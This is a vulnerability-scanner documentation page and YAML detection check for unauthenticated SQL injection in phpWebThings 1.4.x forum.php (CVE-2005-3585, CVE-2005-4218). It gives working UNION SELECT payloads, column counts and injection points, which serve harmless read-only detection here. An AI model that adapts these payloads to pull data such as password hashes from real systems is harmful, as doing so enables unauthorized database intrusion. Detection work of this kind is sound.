phpWebThings — 1 vulnerability check
noctis ships 1 vulnerability check for phpWebThings, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
phpWebThings forum.php forum / msg SQL Injection
| CVE | CVE-2005-3585, CVE-2005-4218 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/phpwebthings/forum-sqli.yaml |
phpWebThings 1.4.x pastes the forum and msg parameters of forum.php, unquoted and unchecked, into SQL queries without authentication: forum is used by the forum search box, msg by the "split topic" form (act=split), which 1.4.x serves to anonymous visitors. An attacker can read the whole database, including the administrator's password hash.
This check requests forum.php in the usual install directories and the web root, first with a forum value that appends a UNION SELECT whose columns all multiply two random numbers inside a marker, then with the same kind of value in msg on the split page. The vulnerability is confirmed when the page shows the product computed by the database, which never appears in the request: in the search box title for forum, in the split form's subject field for msg. No stored data is read and nothing is written.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/forum.php?forum={{sc.q_forum}} - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/forum.php?act=split&msg={{sc.q_msg}}&forum=1 - Parses / computes the next value with a Rhai script
- Checks
forum_hitforforum\.php, for each of 1 values → finding QoD 97: phpWebThings forum.php forum SQL Injection (CVE-2005-3585) - Checks
msg_hitforforum\.php→ finding QoD 97: phpWebThings forum.php msg SQL Injection (CVE-2005-4218)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2005-3585
- https://nvd.nist.gov/vuln/detail/CVE-2005-4218
- https://www.exploit-db.com/exploits/1324
- https://www.securityfocus.com/bid/15465
Feed source — tests/vulnerabilities/phpwebthings/forum-sqli.yaml
# phpWebThings 1.4.x — forum.php "forum" and "msg" SQL injection — CVE-2005-3585, CVE-2005-4218
#
# phpWebThings 1.4 (SourceForge phpwebthings, phpwebthings-1.4.zip, 2004; 1.4.x up to 1.4.4)
# pastes two forum.php GET parameters, unquoted and unchecked, into MySQL queries, without
# authentication (magic_quotes_gpc does not help: the values are numeric context):
# - forum (CVE-2005-3585): forum.php?forum=X calls draw_fs_form() in
# modules/forum/functions.php, which runs
# select * from {prefix}_forums where cod=$forumcod ($forumcod = $_GET["forum"])
# and prints the row's title in the search box header ("Search - <title>"); a failed
# query prints the MySQL error. _forums has 6 columns (cod, title, descr, locked,
# notifies, register).
# - msg (CVE-2005-4218): forum.php?act=split&msg=X&forum=1 copies $_GET["msg"] and includes
# modules/forum/split.php with no moderator check:
# SELECT * FROM {prefix}_forum_msgs WHERE cod = $msg AND forum = $forum
# and echoes the row's title in <input name="subname" value="...">. _forum_msgs has 14
# columns, title is the 6th (rgod's EDB-1324 PoC reads users.password through it).
# 1.5.0 (2006) casts both with intval() and puts act=split behind check_admin/check_moderator.
#
# Detection, per candidate directory (/phpwebthings, /webthings, /phpwt, web root):
# (QoD 97) forum.php?forum=-1 UNION SELECT M,M,M,M,M,M-- - with
# M = CONCAT(0x4e4f43544953,a*b,0x454e44): the page shows NOCTIS<a*b>END, a value
# the database computed (random six-digit a, b; the request only carries "a*b").
# (QoD 97) forum.php?act=split&msg=-999 UNION SELECT M x14-- -&forum=1: the split form's
# subject field holds NOCTIS<a*b>END.
# Each finding names only the CVE of the parameter it proved. Read-only: no table is read,
# nothing is written.
#
# Better than the source NASL:
# - the reference check only looks for its own payload reflected in the hidden "sforum"
# input plus the "created with phpWebThings" footer, i.e. a reflection that only
# indirectly shows the query ran; here the proof is a product computed by the database,
# which a page merely echoing the request cannot show;
# - the reference check never tests msg (CVE-2005-4218), which this feed proves too.
#
# Source: OpenVAS/Greenbone NVT pre2008/phpwebthings_sql_injection.nasl
# (OID 1.3.6.1.4.1.25623.1.0.20170), GPL-2.0-only; source code read from phpwebthings-1.4.zip
# and phpwebthings_1_5_0.zip (SourceForge); rgod's advisory / EDB-1324 for the msg vector.
uid: c8cae909-56b8-4182-b3aa-767d41dbb289
name: "phpWebThings forum.php forum / msg SQL Injection"
description: |
phpWebThings 1.4.x pastes the forum and msg parameters of forum.php, unquoted and
unchecked, into SQL queries without authentication: forum is used by the forum search
box, msg by the "split topic" form (act=split), which 1.4.x serves to anonymous visitors.
An attacker can read the whole database, including the administrator's password hash.
This check requests forum.php in the usual install directories and the web root, first
with a forum value that appends a UNION SELECT whose columns all multiply two random
numbers inside a marker, then with the same kind of value in msg on the split page. The
vulnerability is confirmed when the page shows the product computed by the database,
which never appears in the request: in the search box title for forum, in the split
form's subject field for msg. No stored data is read and nothing is written.
cves: [CVE-2005-3585, CVE-2005-4218]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [phpwebthings, sqli, union-based, php, forum]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2005-3585"
- "https://nvd.nist.gov/vuln/detail/CVE-2005-4218"
- "https://www.exploit-db.com/exploits/1324"
- "https://www.securityfocus.com/bid/15465"
steps:
# ── Random operands, expected value, payloads ─────────────────────────────
- id: gen-proof
action: script
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
let m = "CONCAT(0x4e4f43544953," + a + "*" + b + ",0x454e44)";
let f = m;
for i in 1..6 { f = f + "," + m; }
let g = m;
for i in 1..14 { g = g + "," + m; }
#{ want: "NOCTIS" + (a * b) + "END",
expr: a + "*" + b,
q_forum: "-1%20UNION%20SELECT%20" + f + "--%20-",
q_msg: "-999%20UNION%20SELECT%20" + g + "--%20-" }
store_as: sc
- id: init-forum-hit
action: set_var
var_name: forum_hit
var_value: ""
- id: init-msg-hit
action: set_var
var_name: msg_hit
var_value: ""
# ── Per candidate directory (loop group) ──────────────────────────────────
- id: init-f-resp
action: set_var
var_name: f_resp
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["/phpwebthings", "/webthings", "/phpwt", ""]
- id: init-m-resp
action: set_var
var_name: m_resp
var_value: {status: 0, body: ""}
- id: union-forum
action: http_request
method: GET
path: "{{dir}}/forum.php?forum={{sc.q_forum}}"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'forum_hit == ""'
store_as: f_resp
- id: check-forum
action: script
condition: 'forum_hit == ""'
code: |
let body = if type_of(f_resp.body) == "string" { f_resp.body } else { "" };
if body.contains(sc.want) { dir + "/forum.php?forum" } else { "" }
store_as: forum_hit
- id: union-msg
action: http_request
method: GET
path: "{{dir}}/forum.php?act=split&msg={{sc.q_msg}}&forum=1"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'msg_hit == "" && f_resp.status > 0 && f_resp.status != 404'
store_as: m_resp
- id: check-msg
action: script
condition: 'msg_hit == ""'
code: |
let body = if type_of(m_resp.body) == "string" { m_resp.body } else { "" };
if body.contains(sc.want) { dir + "/forum.php?act=split&msg" } else { "" }
store_as: msg_hit
# ── Findings ──────────────────────────────────────────────────────────────
- id: report-forum
action: match
source: forum_hit
pattern: "forum\\.php"
# a one-item loop ends the per-directory loop group above, so each finding fires once
loop:
var: once
over: ["once"]
on_match:
finding:
title: "phpWebThings forum.php forum SQL Injection (CVE-2005-3585)"
description: "An unauthenticated forum.php request whose forum value appends a UNION SELECT multiplying two random numbers showed the product computed by the database in the forum search box: the forum parameter is pasted unquoted into an SQL query, so an attacker can read the whole database, including the administrator's password hash."
remediation: "Upgrade phpWebThings to 1.5.0 or later (forum and msg are cast to integers there), or apply the vendor's security patch for 1.5.x and earlier."
confidence_delta: 0.67
qod: 97
cves: [CVE-2005-3585]
evidence: "{{forum_hit}}=-1 UNION SELECT CONCAT(0x4e4f43544953,{{sc.expr}},0x454e44) x6-- - returned the database-computed value {{sc.want}}"
- id: report-msg
action: match
source: msg_hit
pattern: "forum\\.php"
on_match:
finding:
title: "phpWebThings forum.php msg SQL Injection (CVE-2005-4218)"
description: "An unauthenticated forum.php?act=split request whose msg value appends a UNION SELECT multiplying two random numbers showed the product computed by the database in the split form's subject field: the msg parameter is pasted unquoted into an SQL query, so an attacker can read the whole database, including the administrator's password hash."
remediation: "Upgrade phpWebThings to 1.5.0 or later (forum and msg are cast to integers there and the split page requires a moderator), or apply the vendor's security patch for 1.5.x and earlier."
confidence_delta: 0.67
qod: 97
cves: [CVE-2005-4218]
evidence: "{{msg_hit}}=-999 UNION SELECT CONCAT(0x4e4f43544953,{{sc.expr}},0x454e44) x14-- - returned the database-computed value {{sc.want}}"